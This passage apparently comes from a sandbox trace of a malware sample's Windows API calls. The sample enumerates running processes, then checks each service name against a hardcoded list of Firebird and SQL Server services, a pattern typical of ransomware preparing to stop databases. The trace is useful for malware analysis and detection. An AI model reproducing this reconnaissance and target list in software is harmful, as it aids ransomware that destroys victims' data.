	[0086.399] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.400] lstrlenW (lpString="svchost.exe") returned 11
	[0086.400] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0086.400] lstrlenW (lpString="audiodg.exe") returned 11
	[0086.400] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0086.401] lstrlenW (lpString="sihost.exe") returned 10
	[0086.401] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.401] lstrlenW (lpString="svchost.exe") returned 11
	[0086.401] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.402] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.402] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0086.403] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0086.403] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0086.403] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0086.403] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0086.404] lstrlenW (lpString="explorer.exe") returned 12
	[0086.404] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0086.404] lstrlenW (lpString="Memory Compression") returned 18
	[0086.404] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0086.405] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0086.405] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0086.405] lstrlenW (lpString="SearchUI.exe") returned 12
	[0086.405] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0086.406] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0086.406] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0086.406] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0086.406] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.407] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.407] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0086.407] lstrlenW (lpString="UsoClient.exe") returned 13
	[0086.408] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.408] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.408] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0086.409] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0086.409] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0086.409] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0086.409] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0086.410] lstrlenW (lpString="msoia.exe") returned 9
	[0086.410] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0086.410] lstrlenW (lpString="msoia.exe") returned 9
	[0086.410] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0086.411] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0086.411] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0086.411] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0086.411] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0086.412] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0086.412] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0086.412] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0086.412] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0086.413] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0086.413] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0086.414] lstrlenW (lpString="legends.exe") returned 11
	[0086.414] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0086.414] lstrlenW (lpString="miniature.exe") returned 13
	[0086.414] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0086.415] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0086.415] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0086.415] lstrlenW (lpString="thorough.exe") returned 12
	[0086.415] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0086.416] lstrlenW (lpString="dllhost.exe") returned 11
	[0086.416] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0086.416] lstrlenW (lpString="interactive.exe") returned 15
	[0086.416] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0086.417] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0086.417] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0086.417] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0086.417] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0086.418] lstrlenW (lpString="eastexamined.exe") returned 16
	[0086.418] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0086.772] lstrlenW (lpString="attacks-according.exe") returned 21
	[0086.772] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0086.773] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0086.773] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0086.774] lstrlenW (lpString="values latin.exe") returned 16
	[0086.774] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0086.775] lstrlenW (lpString="eaufeed.exe") returned 11
	[0086.775] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0086.776] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0086.776] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0086.777] lstrlenW (lpString="burning.exe") returned 11
	[0086.777] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0086.777] lstrlenW (lpString="warned-garage.exe") returned 17
	[0086.777] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0086.778] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0086.778] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0086.779] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0086.779] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0086.780] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0086.780] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0086.780] lstrlenW (lpString="proprietary.exe") returned 15
	[0086.780] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.781] lstrlenW (lpString="conhost.exe") returned 11
	[0086.781] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.782] lstrlenW (lpString="conhost.exe") returned 11
	[0086.782] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0086.782] lstrlenW (lpString="payload2.exe") returned 12
	[0086.782] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0086.783] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0086.783] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.784] lstrlenW (lpString="conhost.exe") returned 11
	[0086.784] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0086.784] lstrlenW (lpString="cmd.exe") returned 7
	[0086.784] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.785] lstrlenW (lpString="conhost.exe") returned 11
	[0086.785] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0086.786] lstrlenW (lpString="mode.com") returned 8
	[0086.786] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0086.788] lstrlenW (lpString="LogonUI.exe") returned 11
	[0086.788] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0086.788] lstrlenW (lpString="sppsvc.exe") returned 10
	[0086.788] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.789] lstrlenW (lpString="svchost.exe") returned 11
	[0086.789] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0086.789] CloseHandle (hObject=0x2f8) returned 1
	[0086.790] Sleep (dwMilliseconds=0x1f4) 
	[0087.648] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d890
	[0087.649] EnumServicesStatusExW (in: hSCManager=0x52d890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0087.650] GetLastError () returned 0xea
	[0087.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d4a) returned 0x43587b0
	[0087.650] EnumServicesStatusExW (in: hSCManager=0x52d890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43587b0, cbBufSize=0x1d4a, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43587b0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0087.651] CloseServiceHandle (hSCObject=0x52d890) returned 1
	[0087.651] lstrlenW (lpString="Appinfo") returned 7
	[0087.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0087.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0087.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0087.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0087.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0087.651] lstrlenW (lpString="AppXSvc") returned 7
	[0087.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0087.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0087.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0087.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0087.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0087.651] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0087.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0087.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0087.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0087.652] lstrlenW (lpString="Audiosrv") returned 8
	[0087.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0087.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0087.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0087.652] lstrlenW (lpString="BFE") returned 3
	[0087.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0087.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0087.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0087.652] lstrlenW (lpString="BITS") returned 4
	[0087.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0087.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0087.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0087.652] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0087.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0087.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0087.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0087.652] lstrlenW (lpString="CDPSvc") returned 6
	[0087.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
